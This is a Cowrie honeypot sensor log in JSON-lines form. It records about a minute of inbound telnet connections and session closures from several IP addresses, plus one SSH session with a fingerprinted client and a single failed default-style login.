{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":45174,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f558ac8e2a4","protocol":"telnet","message":"New connection: 149.102.133.101:45174 (159.203.135.109:23) [session: 5f558ac8e2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:31.947146Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":48002,"dst_ip":"159.203.135.109","dst_port":23,"session":"a75ad7c90b0f","protocol":"telnet","message":"New connection: 85.208.100.77:48002 (159.203.135.109:23) [session: a75ad7c90b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:31.972670Z"}
{"eventid":"cowrie.session.closed","duration":30.15241575241089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:32.060988Z","src_ip":"149.102.133.101","session":"2305509657d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948978662490845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:32.131808Z","src_ip":"116.118.250.81","session":"ebd33b67583a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871217489242554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:32.136820Z","src_ip":"149.102.133.101","session":"e05c863e2a8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00129413604736,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:33.227048Z","src_ip":"190.171.93.41","session":"04f252bf48f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.171.93.41","src_port":59235,"dst_ip":"159.203.135.109","dst_port":23,"session":"32b43358fefa","protocol":"telnet","message":"New connection: 190.171.93.41:59235 (159.203.135.109:23) [session: 32b43358fefa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:33.560115Z"}
{"eventid":"cowrie.session.closed","duration":31.0679190158844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:34.044561Z","src_ip":"147.135.136.77","session":"5648b6b92fe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.293948888778687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:34.734072Z","src_ip":"209.126.84.114","session":"37a653ead57c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":55068,"dst_ip":"159.203.135.109","dst_port":23,"session":"717ccd6d10b3","protocol":"telnet","message":"New connection: 85.208.100.77:55068 (159.203.135.109:23) [session: 717ccd6d10b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:35.003438Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":56252,"dst_ip":"159.203.135.109","dst_port":23,"session":"57c6873c6414","protocol":"telnet","message":"New connection: 85.208.100.77:56252 (159.203.135.109:23) [session: 57c6873c6414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:35.613356Z"}
{"eventid":"cowrie.session.closed","duration":30.228957414627075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:36.044477Z","src_ip":"209.126.84.114","session":"2ed73df7b679","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508427619934082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:36.166216Z","src_ip":"116.118.250.81","session":"bccd68524ca0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":57706,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fedc4c59047","protocol":"telnet","message":"New connection: 85.208.100.77:57706 (159.203.135.109:23) [session: 6fedc4c59047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:36.374685Z"}
{"eventid":"cowrie.session.closed","duration":30.829748153686523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:37.117771Z","src_ip":"46.101.32.143","session":"0b919d37002a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90495753288269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:37.122780Z","src_ip":"147.135.136.77","session":"55d74cfda8a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.228865385055542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:38.065610Z","src_ip":"173.249.44.46","session":"198cab1ad248","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":34078,"dst_ip":"159.203.135.109","dst_port":23,"session":"10c65c6012e6","protocol":"telnet","message":"New connection: 85.208.100.77:34078 (159.203.135.109:23) [session: 10c65c6012e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:38.321333Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":34350,"dst_ip":"159.203.135.109","dst_port":23,"session":"defcf8f08078","protocol":"telnet","message":"New connection: 85.208.100.77:34350 (159.203.135.109:23) [session: defcf8f08078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:38.415878Z"}
{"eventid":"cowrie.session.closed","duration":30.980313539505005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:39.161237Z","src_ip":"209.126.84.114","session":"a31d7151ab0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":49528,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ec49da890ae","protocol":"telnet","message":"New connection: 82.163.78.83:49528 (159.203.135.109:23) [session: 8ec49da890ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:39.437446Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":33690,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c886497776f","protocol":"telnet","message":"New connection: 209.126.84.114:33690 (159.203.135.109:23) [session: 3c886497776f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:39.588133Z"}
{"eventid":"cowrie.session.closed","duration":30.834420204162598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:40.165615Z","src_ip":"85.208.100.77","session":"4593e9bdfb4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53547167778015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:40.432429Z","src_ip":"85.208.100.77","session":"3727717feb6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785372495651245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:41.112388Z","src_ip":"173.249.44.46","session":"90e3adabca79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11370587348938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:41.294981Z","src_ip":"209.126.84.114","session":"5dce394073f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87492537498474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:42.236903Z","src_ip":"85.208.100.77","session":"59635ff2cc5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4577956199646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:43.970426Z","src_ip":"209.126.84.114","session":"cdacd27e7e9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73119330406189,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:44.154261Z","src_ip":"85.208.100.77","session":"3138c4b2ba83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66506004333496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:44.223284Z","src_ip":"85.208.100.77","session":"613089735275","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872284650802612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:46.190267Z","src_ip":"85.208.100.77","session":"5304a5c293e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888378381729126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:47.241746Z","src_ip":"85.208.100.77","session":"e6dc54577d61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":41308,"dst_ip":"159.203.135.109","dst_port":23,"session":"a72a0cd58fb7","protocol":"telnet","message":"New connection: 173.249.44.46:41308 (159.203.135.109:23) [session: a72a0cd58fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:47.830261Z"}
{"eventid":"cowrie.session.closed","duration":31.204069137573242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:49.157292Z","src_ip":"173.249.44.46","session":"c0af9a9909d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93001961708069,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:49.209333Z","src_ip":"85.208.100.77","session":"f83ac06d8911","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":51038,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3986e9484a4","protocol":"ssh","message":"New connection: 103.228.69.212:51038 (10.17.0.5:22) [session: f3986e9484a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:49.751950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:49.756821Z","src_ip":"103.228.69.212","session":"f3986e9484a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:49.986886Z","src_ip":"103.228.69.212","session":"f3986e9484a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.019653797149658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:50.081847Z","src_ip":"82.163.78.83","session":"32aea7c7e65c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qazwsx123","message":"login attempt [ubuntu/Qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:50.937723Z","src_ip":"103.228.69.212","session":"f3986e9484a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":36092,"dst_ip":"159.203.135.109","dst_port":23,"session":"9186eb79d53d","protocol":"telnet","message":"New connection: 85.208.100.77:36092 (159.203.135.109:23) [session: 9186eb79d53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:51.484262Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:52.169522Z","src_ip":"103.228.69.212","session":"f3986e9484a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.45661211013794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:52.672032Z","src_ip":"82.163.78.83","session":"fd6a1a35ea37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52557396888733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:53.266425Z","src_ip":"149.102.133.101","session":"283346ef7191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":49554,"dst_ip":"159.203.135.109","dst_port":23,"session":"17589f96cda7","protocol":"telnet","message":"New connection: 173.249.44.46:49554 (159.203.135.109:23) [session: 17589f96cda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:54.360694Z"}
{"eventid":"cowrie.session.closed","duration":30.828192472457886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:55.164431Z","src_ip":"85.208.100.77","session":"d2f7c45ebee7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":38008,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb4e9bd7fae5","protocol":"telnet","message":"New connection: 209.126.84.114:38008 (159.203.135.109:23) [session: bb4e9bd7fae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:55.255272Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":55324,"dst_ip":"159.203.135.109","dst_port":23,"session":"71e1c9da859f","protocol":"telnet","message":"New connection: 149.102.133.101:55324 (159.203.135.109:23) [session: 71e1c9da859f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:55.832274Z"}
{"eventid":"cowrie.session.closed","duration":30.825082302093506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:56.150668Z","src_ip":"85.208.100.77","session":"b512e88fd827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":38446,"dst_ip":"159.203.135.109","dst_port":23,"session":"591fd9cecf6f","protocol":"telnet","message":"New connection: 209.126.84.114:38446 (159.203.135.109:23) [session: 591fd9cecf6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:57.298354Z"}
{"eventid":"cowrie.session.closed","duration":30.819172382354736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:58.136691Z","src_ip":"85.208.100.77","session":"2f11e345187b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808857679367065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:59.156672Z","src_ip":"85.208.100.77","session":"988087137f10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":38918,"dst_ip":"159.203.135.109","dst_port":23,"session":"963242d634b6","protocol":"telnet","message":"New connection: 209.126.84.114:38918 (159.203.135.109:23) [session: 963242d634b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:01:59.267216Z"}
{"eventid":"cowrie.session.closed","duration":31.472801685333252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:01.034878Z","src_ip":"209.126.84.114","session":"f7d135944a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":58238,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bf75bd5e562","protocol":"telnet","message":"New connection: 85.208.100.77:58238 (159.203.135.109:23) [session: 7bf75bd5e562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:01.377005Z"}
{"eventid":"cowrie.session.closed","duration":30.091298580169678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:02.038308Z","src_ip":"149.102.133.101","session":"5f558ac8e2a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188244819641113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:03.160725Z","src_ip":"85.208.100.77","session":"a75ad7c90b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63996386528015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:06.253213Z","src_ip":"85.208.100.77","session":"57c6873c6414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268100261688232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:06.271410Z","src_ip":"85.208.100.77","session":"717ccd6d10b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":35006,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed475ab28fa8","protocol":"telnet","message":"New connection: 173.249.44.46:35006 (159.203.135.109:23) [session: ed475ab28fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:06.300630Z"}
{"eventid":"cowrie.session.closed","duration":30.824199676513672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:07.198787Z","src_ip":"85.208.100.77","session":"6fedc4c59047","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828635931015015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:09.149867Z","src_ip":"85.208.100.77","session":"10c65c6012e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758527994155884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:09.173952Z","src_ip":"85.208.100.77","session":"defcf8f08078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":48044,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8c9ec3c228b","protocol":"telnet","message":"New connection: 85.208.100.77:48044 (159.203.135.109:23) [session: e8c9ec3c228b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:09.586956Z"}
{"eventid":"cowrie.session.closed","duration":30.81506657600403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:10.252340Z","src_ip":"82.163.78.83","session":"8ec49da890ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.855016708374023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:10.443024Z","src_ip":"209.126.84.114","session":"3c886497776f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":42292,"dst_ip":"159.203.135.109","dst_port":23,"session":"4722ce4fde74","protocol":"telnet","message":"New connection: 173.249.44.46:42292 (159.203.135.109:23) [session: 4722ce4fde74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:12.793114Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":46284,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3a39b46f4ba","protocol":"telnet","message":"New connection: 173.249.44.46:46284 (159.203.135.109:23) [session: f3a39b46f4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:15.773443Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":36354,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1cdcc0e1630","protocol":"telnet","message":"New connection: 85.208.100.77:36354 (159.203.135.109:23) [session: e1cdcc0e1630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:17.089192Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":37860,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1a9d031717d","protocol":"telnet","message":"New connection: 85.208.100.77:37860 (159.203.135.109:23) [session: a1a9d031717d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:17.817523Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.108.139","src_port":40685,"dst_ip":"10.17.0.5","dst_port":23,"session":"814f1c2be867","protocol":"telnet","message":"New connection: 181.115.108.139:40685 (10.17.0.5:23) [session: 814f1c2be867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:17.840544Z"}
{"eventid":"cowrie.session.closed","duration":30.246305465698242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:18.076454Z","src_ip":"173.249.44.46","session":"a72a0cd58fb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802509307861328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:22.286645Z","src_ip":"85.208.100.77","session":"9186eb79d53d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00159120559692,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:23.627321Z","src_ip":"102.102.5.209","session":"bcc30377114e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74039053916931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:25.100964Z","src_ip":"173.249.44.46","session":"17589f96cda7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20512628555298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:26.037274Z","src_ip":"149.102.133.101","session":"71e1c9da859f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096162796020508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:26.351138Z","src_ip":"209.126.84.114","session":"bb4e9bd7fae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":58764,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b59b0022077","protocol":"telnet","message":"New connection: 85.208.100.77:58764 (159.203.135.109:23) [session: 6b59b0022077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:27.326627Z"}
{"eventid":"cowrie.session.closed","duration":30.841282606124878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:28.139432Z","src_ip":"209.126.84.114","session":"591fd9cecf6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943004369735718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:02:30.210032Z","src_ip":"209.126.84.114","session":"963242d634b6","protocol":"telnet"}
